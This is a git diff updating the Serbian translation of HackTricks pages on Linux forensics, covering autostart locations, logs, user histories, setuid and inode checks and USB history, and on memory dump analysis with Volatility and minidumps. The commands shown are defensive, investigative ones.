-Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
-Pristupite danas:
+Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) da lako izgradite i **automatizujete radne tokove** pokretane od strane **najnaprednijih** alata zajednice.\
+Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
-## Obnovite izbrisane pokrenute binarne datoteke
+## Oporavak obrisanih pokretnih binarnih datoteka
-Zamislite proces koji je izvršen iz /tmp/exec a zatim izbrisan. Moguće je izvući ga
+Zamislite proces koji je izvršen iz /tmp/exec i zatim obrisan. Moguće je izvući ga
```bash
cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
```
-## Pregled lokacija automatskog pokretanja
+## Inspekcija lokacija za automatsko pokretanje
### Zakazani zadaci
```bash
@@ -233,94 +234,94 @@ cat /var/spool/cron/crontabs/* \
#MacOS
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
```
-### Servisi
+### Usluge
-Putanje gde se zlonamerni softver može instalirati kao servis:
+Putanje gde se malver može instalirati kao usluga:
-- **/etc/inittab**: Poziva inicijalne skripte poput rc.sysinit, usmeravajući dalje ka skriptama za pokretanje.
-- **/etc/rc.d/** i **/etc/rc.boot/**: Sadrže skripte za pokretanje servisa, pri čemu se ove potonje nalaze u starijim verzijama Linuxa.
-- **/etc/init.d/**: Koristi se u određenim verzijama Linuxa poput Debiana za čuvanje skripti za pokretanje.
-- Servisi se takođe mogu aktivirati putem **/etc/inetd.conf** ili **/etc/xinetd/**, u zavisnosti od varijante Linuxa.
-- **/etc/systemd/system**: Direktorijum za sistemske i upravljačke skripte servisa.
-- **/etc/systemd/system/multi-user.target.wants/**: Sadrži linkove ka servisima koji treba da se pokrenu u multi-korisničkom nivou.
-- **/usr/local/etc/rc.d/**: Za prilagođene ili servise trećih strana.
-- **\~/.config/autostart/**: Za aplikacije koje se automatski pokreću specifične za korisnika, što može biti skrovište za zlonamerni softver usmeren ka korisniku.
-- **/lib/systemd/system/**: Podrazumevane sistemski široko dostupne datoteke jedinica koje pružaju instalirani paketi.
+* **/etc/inittab**: Poziva skripte inicijalizacije kao što su rc.sysinit, usmeravajući dalje na skripte za pokretanje.
+* **/etc/rc.d/** i **/etc/rc.boot/**: Sadrže skripte za pokretanje usluga, pri čemu se potonja nalazi u starijim verzijama Linux-a.
+* **/etc/init.d/**: Koristi se u određenim verzijama Linux-a kao što je Debian za čuvanje skripti za pokretanje.
+* Usluge se takođe mogu aktivirati putem **/etc/inetd.conf** ili **/etc/xinetd/**, u zavisnosti od Linux varijante.
+* **/etc/systemd/system**: Direktorijum za skripte menadžera sistema i usluga.
+* **/etc/systemd/system/multi-user.target.wants/**: Sadrži linkove ka uslugama koje treba pokrenuti u višekorisničkom režimu.
+* **/usr/local/etc/rc.d/**: Za prilagođene ili usluge trećih strana.
+* **\~/.config/autostart/**: Za automatske aplikacije specifične za korisnika, koje mogu biti skriveno mesto za malver usmeren na korisnike.
+* **/lib/systemd/system/**: Podrazumevane jedinice sistema koje obezbeđuju instalirani paketi.
### Kernel Moduli
-Linux kernel moduli, često korišćeni od strane zlonamernog softvera kao komponente rootkita, učitavaju se prilikom pokretanja sistema. Direktorijumi i datoteke ključne za ove module uključuju:
+Linux kernel moduli, često korišćeni od strane malvera kao komponente rootkita, učitavaju se prilikom pokretanja sistema. Direktorijumi i datoteke kritične za ove module uključuju:
-- **/lib/modules/$(uname -r)**: Čuva module za pokrenutu verziju kernela.
-- **/etc/modprobe.d**: Sadrži konfiguracione datoteke za kontrolu učitavanja modula.
-- **/etc/modprobe** i **/etc/modprobe.conf**: Datoteke za globalna podešavanja modula.
+* **/lib/modules/$(uname -r)**: Sadrži module za verziju kernel-a koja se trenutno koristi.
+* **/etc/modprobe.d**: Sadrži konfiguracione datoteke za kontrolu učitavanja modula.
+* **/etc/modprobe** i **/etc/modprobe.conf**: Datoteke za globalne postavke modula.
-### Ostale Lokacije za Automatsko Pokretanje
+### Druge Lokacije za Automatsko Pokretanje
-Linux koristi različite datoteke za automatsko izvršavanje programa prilikom prijave korisnika, potencijalno skrivajući zlonamerni softver:
+Linux koristi razne datoteke za automatsko izvršavanje programa prilikom prijavljivanja korisnika, potencijalno skrivajući malver:
-- **/etc/profile.d/**\*, **/etc/profile**, i **/etc/bash.bashrc**: Izvršavaju se prilikom prijave bilo kog korisnika.
-- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, i **\~/.config/autostart**: Datoteke specifične za korisnika koje se pokreću prilikom njihove prijave.
-- **/etc/rc.local**: Pokreće se nakon što su svi sistemske servisi pokrenuti, označavajući kraj tranzicije ka multi-korisničkom okruženju.
+* **/etc/profile.d/**\*, **/etc/profile**, i **/etc/bash.bashrc**: Izvršavaju se za bilo koju prijavu korisnika.
+* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, i **\~/.config/autostart**: Datoteke specifične za korisnika koje se pokreću prilikom njihove prijave.
+* **/etc/rc.local**: Izvršava se nakon što su sve sistemske usluge pokrenute, označavajući kraj prelaska na višekorisničko okruženje.
-## Pregledajte Logove
+## Istraži Logove
-Linux sistemi prate aktivnosti korisnika i događaje sistema putem različitih log datoteka. Ovi logovi su ključni za identifikaciju neovlašćenog pristupa, infekcija zlonamernim softverom i drugih sigurnosnih incidenata. Ključne log datoteke uključuju:
+Linux sistemi prate aktivnosti korisnika i događaje sistema kroz razne log datoteke. Ovi logovi su ključni za identifikaciju neovlašćenog pristupa, infekcija malverom i drugih bezbednosnih incidenata. Ključne log datoteke uključuju:
-- **/var/log/syslog** (Debian) ili **/var/log/messages** (RedHat): Snimaju sistemske poruke i aktivnosti.
-- **/var/log/auth.log** (Debian) ili **/var/log/secure** (RedHat): Beleže pokušaje autentifikacije, uspešne i neuspešne prijave.
-- Koristite `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` za filtriranje relevantnih autentifikacionih događaja.
-- **/var/log/boot.log**: Sadrži poruke o pokretanju sistema.
-- **/var/log/maillog** ili **/var/log/mail.log**: Beleže aktivnosti email servera, korisne za praćenje email-related servisa.
-- **/var/log/kern.log**: Čuva kernel poruke, uključujući greške i upozorenja.
-- **/var/log/dmesg**: Drži poruke upravljača uređaja.
-- **/var/log/faillog**: Beleži neuspele pokušaje prijave, pomažući u istraživanju sigurnosnih prekršaja.
-- **/var/log/cron**: Beleži izvršavanja cron poslova.
-- **/var/log/daemon.log**: Prati aktivnosti pozadinskih servisa.
-- **/var/log/btmp**: Dokumentuje neuspele pokušaje prijave.
-- **/var/log/httpd/**: Sadrži Apache HTTPD greške i pristupne logove.
-- **/var/log/mysqld.log** ili **/var/log/mysql.log**: Beleže MySQL aktivnosti baze podataka.
-- **/var/log/xferlog**: Beleži FTP prenose datoteka.
-- **/var/log/**: Uvek proverite ovde za neočekivane logove.
+* **/var/log/syslog** (Debian) ili **/var/log/messages** (RedHat): Zabeležavaju poruke i aktivnosti širom sistema.
+* **/var/log/auth.log** (Debian) ili **/var/log/secure** (RedHat): Beleže pokušaje autentifikacije, uspešne i neuspešne prijave.
+* Koristite `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` za filtriranje relevantnih događaja autentifikacije.
+* **/var/log/boot.log**: Sadrži poruke o pokretanju sistema.
+* **/var/log/maillog** ili **/var/log/mail.log**: Beleže aktivnosti email servera, korisne za praćenje usluga vezanih za email.
+* **/var/log/kern.log**: Čuva poruke kernela, uključujući greške i upozorenja.
+* **/var/log/dmesg**: Sadrži poruke drajvera uređaja.
+* **/var/log/faillog**: Beleži neuspešne pokušaje prijave, pomažući u istragama bezbednosnih proboja.
+* **/var/log/cron**: Beleži izvršenja cron poslova.
+* **/var/log/daemon.log**: Prati aktivnosti pozadinskih usluga.
+* **/var/log/btmp**: Dokumentuje neuspešne pokušaje prijave.
+* **/var/log/httpd/**: Sadrži Apache HTTPD greške i pristupne logove.
+* **/var/log/mysqld.log** ili **/var/log/mysql.log**: Beleže aktivnosti MySQL baze podataka.
+* **/var/log/xferlog**: Beleži FTP transfer fajlova.
+* **/var/log/**: Uvek proverite neočekivane logove ovde.
{% hint style="info" %}
-Linux sistemske logove i podsisteme za reviziju može biti onemogućeno ili obrisano u slučaju upada ili incidenta sa zlonamernim softverom. Budući da logovi na Linux sistemima generalno sadrže neke od najkorisnijih informacija o zlonamernim aktivnostima, napadači ih rutinski brišu. Stoga, prilikom pregleda dostupnih log datoteka, važno je tražiti praznine ili vanredne unose koji bi mogli biti indikacija brisanja ili manipulacije.
+Linux sistemski logovi i audit pod-sistemi mogu biti onemogućeni ili obrisani tokom upada ili incidenta sa malverom. Pošto logovi na Linux sistemima obično sadrže neke od najkorisnijih informacija o zlonamernim aktivnostima, napadači ih rutinski brišu. Stoga, prilikom ispitivanja dostupnih log datoteka, važno je tražiti praznine ili neuredne unose koji bi mogli biti indikacija brisanja ili manipulacije.
{% endhint %}
-**Linux čuva istoriju komandi za svakog korisnika**, smeštenu u:
+**Linux održava istoriju komandi za svakog korisnika**, smeštenu u:
-- \~/.bash\_history
-- \~/.zsh\_history
-- \~/.zsh\_sessions/\*
-- \~/.python\_history
-- \~/.\*\_history
+* \~/.bash\_history
+* \~/.zsh\_history
+* \~/.zsh\_sessions/\*
+* \~/.python\_history
+* \~/.\*\_history
-Takođe, komanda `last -Faiwx` pruža listu korisničkih prijava. Proverite je za nepoznate ili neočekivane prijave.
+Pored toga, komanda `last -Faiwx` pruža listu prijava korisnika. Proverite je za nepoznate ili neočekivane prijave.
-Proverite datoteke koje mogu dati dodatne privilegije:
+Proverite datoteke koje mogu dodeliti dodatne privilegije:
-- Pregledajte `/etc/sudoers` za neočekivane korisničke privilegije koje su možda dodeljene.
-- Pregledajte `/etc/sudoers.d/` za neočekivane korisničke privilegije koje su možda dodeljene.
-- Ispitajte `/etc/groups` kako biste identifikovali bilo kakvo neobično članstvo u grupama ili dozvole.
-- Ispitajte `/etc/passwd` kako biste identifikovali bilo kakvo neobično članstvo u grupama ili dozvole.
+* Pregledajte `/etc/sudoers` za neočekivane privilegije korisnika koje su možda dodeljene.
+* Pregledajte `/etc/sudoers.d/` za neočekivane privilegije korisnika koje su možda dodeljene.
+* Istražite `/etc/groups` da identifikujete bilo kakva neobična članstva u grupama ili dozvole.
+* Istražite `/etc/passwd` da identifikujete bilo kakva neobična članstva u grupama ili dozvole.
-Neki programi takođe generišu svoje logove:
+Neke aplikacije takođe generišu svoje logove:
-- **SSH**: Ispitajte _\~/.ssh/authorized\_keys_ i _\~/.ssh/known\_hosts_ za neovlašćene udaljene konekcije.
-- **Gnome Desktop**: Pogledajte _\~/.recently-used.xbel_ za nedavno pristupljene datoteke putem Gnome aplikacija.
-- **Firefox/Chrome**: Proverite istoriju pretraživača i preuzimanja u _\~/.mozilla/firefox_ ili _\~/.config/google-chrome_ za sumnjive aktivnosti.
-- **VIM**: Pregledajte _\~/.viminfo_ za detalje o korišćenju, poput putanja do pristupljenih datoteka i istorije pretrage.
-- **Open Office**: Proverite nedavni pristup dokumentima koji mogu ukazivati na kompromitovane datoteke.
-- **FTP/SFTP**: Pregledajte logove u _\~/.ftp\_history_ ili _\~/.sftp\_history_ za prenose datoteka koji bi mogli biti neovlašćeni.
-- **MySQL**: Istražite _\~/.mysql\_history_ za izvršene MySQL upite, što može otkriti neovlaštene aktivnosti baze podataka.
-- **Less**: Analizirajte _\~/.lesshst_ za istoriju korišćenja, uključujući pregledane datoteke i izvršene komande.
-- **Git**: Ispitajte _\~/.gitconfig_ i projekat _.git/logs_ za promene u repozitorijumima.
+* **SSH**: Istražite _\~/.ssh/authorized\_keys_ i _\~/.ssh/known\_hosts_ za neovlašćene udaljene konekcije.
+* **Gnome Desktop**: Pogledajte _\~/.recently-used.xbel_ za nedavno pristupane datoteke putem Gnome aplikacija.
+* **Firefox/Chrome**: Proverite istoriju pretraživača i preuzimanja u _\~/.mozilla/firefox_ ili _\~/.config/google-chrome_ za sumnjive aktivnosti.
+* **VIM**: Pregledajte _\~/.viminfo_ za detalje o korišćenju, kao što su pristupane putanje datoteka i istorija pretrage.
+* **Open Office**: Proverite nedavni pristup dokumentima koji mogu ukazivati na kompromitovane datoteke.
+* **FTP/SFTP**: Pregledajte logove u _\~/.ftp\_history_ ili _\~/.sftp\_history_ za transfer fajlova koji bi mogli biti neovlašćeni.
+* **MySQL**: Istražite _\~/.mysql\_history_ za izvršene MySQL upite, što može otkriti neovlašćene aktivnosti u bazi podataka.
+* **Less**: Analizirajte _\~/.lesshst_ za istoriju korišćenja, uključujući pregledane datoteke i izvršene komande.
+* **Git**: Istražite _\~/.gitconfig_ i projekat _.git/logs_ za promene u repozitorijumima.
### USB Logovi
-[**usbrip**](https://github.com/snovvcrash/usbrip) je mali softver napisan u čistom Pythonu 3 koji parsira Linux log datoteke (`/var/log/syslog*` ili `/var/log/messages*` u zavisnosti od distribucije) radi konstrukcije tabela istorije USB događaja.
+[**usbrip**](https://github.com/snovvcrash/usbrip) je mali komad softvera napisan u čistom Python 3 koji analizira Linux log datoteke (`/var/log/syslog*` ili `/var/log/messages*` u zavisnosti od distribucije) za konstruisanje tabela istorije USB događaja.
-Važno je **znati sve USB-ove koji su korišćeni** i biće korisnije ako imate autorizovanu listu USB-ova kako biste pronašli "događaje kršenja" (korišćenje USB-ova koji nisu na toj listi).
+Zanimljivo je **znati sve USB uređaje koji su korišćeni** i biće korisnije ako imate ovlašćenu listu USB uređaja da pronađete "događaje kršenja" (korišćenje USB uređaja koji nisu na toj listi).
### Instalacija
```bash
@@ -335,38 +336,38 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
```
-Više primera i informacija možete pronaći na github-u: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
+More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
\
-Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) da biste lako kreirali i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice.\
-Pristupite danas:
+Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
-## Pregled Korisničkih Računa i Aktivnosti Prijavljivanja
+## Pregled korisničkih naloga i aktivnosti prijavljivanja
-Ispitajte _**/etc/passwd**_, _**/etc/shadow**_ i **bezbednosne dnevnike** za neuobičajena imena ili naloge kreirane i/ili korišćene u blizini poznatih neovlašćenih događaja. Takođe, proverite moguće brute-force napade putem sudo-a.\
-Takođe, proverite datoteke poput _**/etc/sudoers**_ i _**/etc/groups**_ za neočekivane privilegije date korisnicima.\
-Na kraju, potražite naloge bez **šifri** ili sa **lako pogodnim** šiframa.
+Istražite _**/etc/passwd**_, _**/etc/shadow**_ i **bezbednosne logove** za neobična imena ili naloge koji su kreirani i ili korišćeni u bliskoj blizini poznatih neovlašćenih događaja. Takođe, proverite moguće sudo brute-force napade.\
+Pored toga, proverite datoteke kao što su _**/etc/sudoers**_ i _**/etc/groups**_ za neočekivane privilegije dodeljene korisnicima.\
+Na kraju, potražite naloge sa **bez lozinki** ili **lako pogađanim** lozinkama.
-## Ispitivanje Fajl Sistema
+## Istraživanje fajl sistema
-### Analiza Struktura Fajl Sistema u Istraživanju Malvera
+### Analiza struktura fajl sistema u istrazi malvera
-Prilikom istraživanja incidenata sa malverom, struktura fajl sistema je ključni izvor informacija, otkrivajući kako se događaji odvijaju i sadržaj malvera. Međutim, autori malvera razvijaju tehnike kako bi otežali ovu analizu, poput modifikacije vremena datoteka ili izbegavanja fajl sistema za skladištenje podataka.
+Kada istražujete incidente sa malverom, struktura fajl sistema je ključni izvor informacija, otkrivajući kako redosled događaja, tako i sadržaj malvera. Međutim, autori malvera razvijaju tehnike za ometanje ove analize, kao što su modifikovanje vremenskih oznaka fajlova ili izbegavanje fajl sistema za skladištenje podataka.
-Da biste se suprotstavili ovim anti-forenzičkim metodama, bitno je:
+Da biste se suprotstavili ovim anti-forenzičkim metodama, važno je:
-* **Sprovesti temeljnu analizu vremenske linije** koristeći alate poput **Autopsy** za vizualizaciju vremenskih linija događaja ili **Sleuth Kit's** `mactime` za detaljne podatke o vremenskoj liniji.
-* **Istražiti neočekivane skripte** u $PATH sistemu, koje mogu uključivati skripte ljuske ili PHP skripte korišćene od strane napadača.
-* **Ispitati `/dev` za atipične fajlove**, jer tradicionalno sadrži posebne fajlove, ali može sadržati fajlove povezane sa malverom.
-* **Tražiti skrivene fajlove ili direktorijume** sa imenima poput ".. " (tačka tačka razmak) ili "..^G" (tačka tačka kontrola-G), koji bi mogli sakriti zlonamerni sadržaj.
-* **Identifikovati setuid root fajlove** korišćenjem komande: `find / -user root -perm -04000 -print` Ovo pronalazi fajlove sa povišenim dozvolama, koje napadači mogu zloupotrebiti.
-* **Pregledati vremena brisanja** u tabelama inode-a kako biste primetili masovna brisanja fajlova, što može ukazivati na prisustvo rootkita ili trojanca.
-* **Ispitati uzastopne inode-e** za bliske zlonamerne fajlove nakon identifikacije jednog, jer su možda postavljeni zajedno.
-* **Proveriti zajedničke binarne direktorijume** (_/bin_, _/sbin_) za nedavno modifikovane fajlove, jer ih malver može menjati.
+* **Sprovesti temeljnu analizu vremenskih linija** koristeći alate kao što su **Autopsy** za vizualizaciju vremenskih linija događaja ili **Sleuth Kit's** `mactime` za detaljne podatke o vremenskim linijama.
+* **Istražiti neočekivane skripte** u sistemskom $PATH, koje mogu uključivati shell ili PHP skripte koje koriste napadači.
+* **Istražiti `/dev` za atipične fajlove**, jer tradicionalno sadrži specijalne fajlove, ali može sadržati i fajlove povezane sa malverom.
+* **Pretražiti skrivene fajlove ili direktorijume** sa imenima kao što su ".. " (tačka tačka razmak) ili "..^G" (tačka tačka kontrola-G), koji mogu skrivati zlonamerni sadržaj.
+* **Identifikovati setuid root fajlove** koristeći komandu: `find / -user root -perm -04000 -print` Ovo pronalazi fajlove sa povišenim privilegijama, koje napadači mogu zloupotrebiti.
+* **Pregledati vremenske oznake brisanja** u inode tabelama kako bi se uočila masovna brisanja fajlova, što može ukazivati na prisustvo rootkit-ova ili trojanaca.
+* **Inspektovati uzastopne inode** za obližnje zlonamerne fajlove nakon identifikacije jednog, jer su možda postavljeni zajedno.
+* **Proveriti uobičajene binarne direktorijume** (_/bin_, _/sbin_) za nedavno modifikovane fajlove, jer bi ovi mogli biti izmenjeni od strane malvera.
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
@@ -375,37 +376,37 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n```
````
{% hint style="info" %}
-Imajte na umu da **napadač** može **izmeniti** **vreme** kako bi **datoteke izgledale** **legitimno**, ali ne može izmeniti **inode**. Ako primetite da **datoteka** pokazuje da je kreirana i izmenjena u **istom vremenu** kao i ostale datoteke u istom folderu, ali je **inode** **neočekivano veći**, onda su **vremenske oznake te datoteke izmenjene**.
+Napomena da **napadač** može **modifikovati** **vreme** kako bi **datoteke izgledale** **legitimno**, ali ne može **modifikovati** **inode**. Ako otkrijete da **datoteka** pokazuje da je kreirana i modifikovana u **isto vreme** kao i ostale datoteke u istoj fascikli, ali je **inode** **neočekivano veći**, tada su **vremenske oznake te datoteke modifikovane**.
{% endhint %}
-## Uporedite datoteke različitih verzija fajl sistema
+## Uporedite datoteke različitih verzija datotečnog sistema
-### Sažetak Uporedbe Verzija Fajl Sistema
+### Sažetak uporedbe verzija datotečnog sistema
-Da biste uporedili verzije fajl sistema i locirali promene, koristimo pojednostavljene `git diff` komande:
+Da bismo uporedili verzije datotečnog sistema i precizno odredili promene, koristimo pojednostavljene `git diff` komande:
-* **Da biste pronašli nove datoteke**, uporedite dva direktorijuma:
+* **Da pronađete nove datoteke**, uporedite dve fascikle:
```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```
-* **Za izmenjen sadržaj**, navedite promene ignorišući specifične linije:
+* **Za izmenjen sadržaj**, navedite promene zanemarujući specifične linije:
```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
```
-* **Za otkrivanje izbrisanih fajlova**:
+* **Da otkrijete obrisane fajlove**:
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
-* **Opcije filtriranja** (`--diff-filter`) pomažu da se suzite na specifične promene poput dodatih (`A`), izbrisanih (`D`) ili izmenjenih (`M`) fajlova.
+* **Opcije filtriranja** (`--diff-filter`) pomažu da se suzite na specifične promene kao što su dodati (`A`), obrisani (`D`) ili izmenjeni (`M`) fajlovi.
* `A`: Dodati fajlovi
* `C`: Kopirani fajlovi
-* `D`: Izbrisani fajlovi
+* `D`: Obrisani fajlovi
* `M`: Izmenjeni fajlovi
* `R`: Preimenovani fajlovi
-* `T`: Promene tipa (npr. fajl u simboličku vezu)
-* `U`: Nespajani fajlovi
+* `T`: Promene tipa (npr., fajl u symlink)
+* `U`: Neusaglašeni fajlovi
* `X`: Nepoznati fajlovi
-* `B`: Oštećeni fajlovi
+* `B`: Pokvareni fajlovi
## Reference
@@ -416,22 +417,22 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Naučite AWS hacking od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
-Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF-u**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
+Da li radite u **kompaniji za sajber bezbednost**? Da li želite da vidite vašu **kompaniju oglašenu u HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS ili preuzmete HackTricks u PDF**? Proverite [**PLANOVE ČLANSTVA**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* Nabavite [**službeni PEASS & HackTricks merch**](https://peass.creator-spring.com)
+* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** me na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-**Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
+**Podelite svoje hacking trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
\
-Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
+Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) da lako izgradite i **automatizujete radne tokove** pokretane od strane **najnaprednijih** alata zajednice.\
Dobijte pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md
index 4a7c626df..a21e9a7b4 100644
--- a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md
+++ b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md
@@ -1,69 +1,75 @@
-# Analiza memorije
+# Analiza memorijskih dumpova
+
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
-* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
-[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji događaj u oblasti kibernetičke bezbednosti u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i bezbednosnih stručnjaka u svakoj disciplini.
+[**RootedCON**](https://www.rootedcon.com/) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo mesto okupljanja za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
{% embed url="https://www.rootedcon.com/" %}
## Početak
-Počnite **tražiti** zlonamerne programe unutar pcap datoteke. Koristite **alate** navedene u [**Analizi zlonamernih programa**](../malware-analysis.md).
+Počnite **pretragu** za **malverom** unutar pcap-a. Koristite **alate** navedene u [**Analiza malvera**](../malware-analysis.md).
## [Volatility](volatility-cheatsheet.md)
-**Volatility je glavni open-source okvir za analizu memorije**. Ovaj Python alat analizira dump-ove sa spoljnih izvora ili VMware VM-ova, identifikujući podatke poput procesa i lozinki na osnovu profila OS dump-a. Proširiv je pomoću dodataka, što ga čini veoma fleksibilnim za forenzičke istrage.
+**Volatility je glavni open-source okvir za analizu memorijskih dumpova**. Ovaj Python alat analizira dumpove iz spoljašnjih izvora ili VMware VM-ova, identifikujući podatke kao što su procesi i lozinke na osnovu OS profila dumpa. Proširiv je sa plugin-ovima, što ga čini veoma svestranim za forenzičke istrage.
[**Pronađite ovde cheatsheet**](volatility-cheatsheet.md)
-## Izveštaj o padu mini dump-a
+## Izveštaj o mini dumpu
-Kada je dump mali (samo nekoliko KB, možda nekoliko MB) tada je verovatno izveštaj o padu mini dump-a, a ne dump memorije.
+Kada je dump mali (samo nekoliko KB, možda nekoliko MB) onda je verovatno reč o izveštaju o mini dumpu, a ne o memorijskom dumpu.
![](<../../../.gitbook/assets/image (532).png>)
-Ako imate instaliran Visual Studio, možete otvoriti ovu datoteku i dobiti osnovne informacije poput imena procesa, arhitekture, informacija o izuzecima i izvršenih modula:
+Ako imate instaliran Visual Studio, možete otvoriti ovu datoteku i povezati neke osnovne informacije kao što su naziv procesa, arhitektura, informacije o izuzecima i moduli koji se izvršavaju:
![](<../../../.gitbook/assets/image (263).png>)
-Takođe možete učitati izuzetak i videti dekompilirane instrukcije
+Takođe možete učitati izuzetak i videti dekompilovane instrukcije
![](<../../../.gitbook/assets/image (142).png>)
![](<../../../.gitbook/assets/image (610).png>)
-U svakom slučaju, Visual Studio nije najbolji alat za obavljanje analize dubine dump-a.
+U svakom slučaju, Visual Studio nije najbolji alat za izvođenje analize dubine dumpa.
-Trebalo bi ga **otvoriti** koristeći **IDA** ili **Radare** kako biste ga detaljno pregledali.
+Trebalo bi da ga **otvorite** koristeći **IDA** ili **Radare** za detaljnu inspekciju.
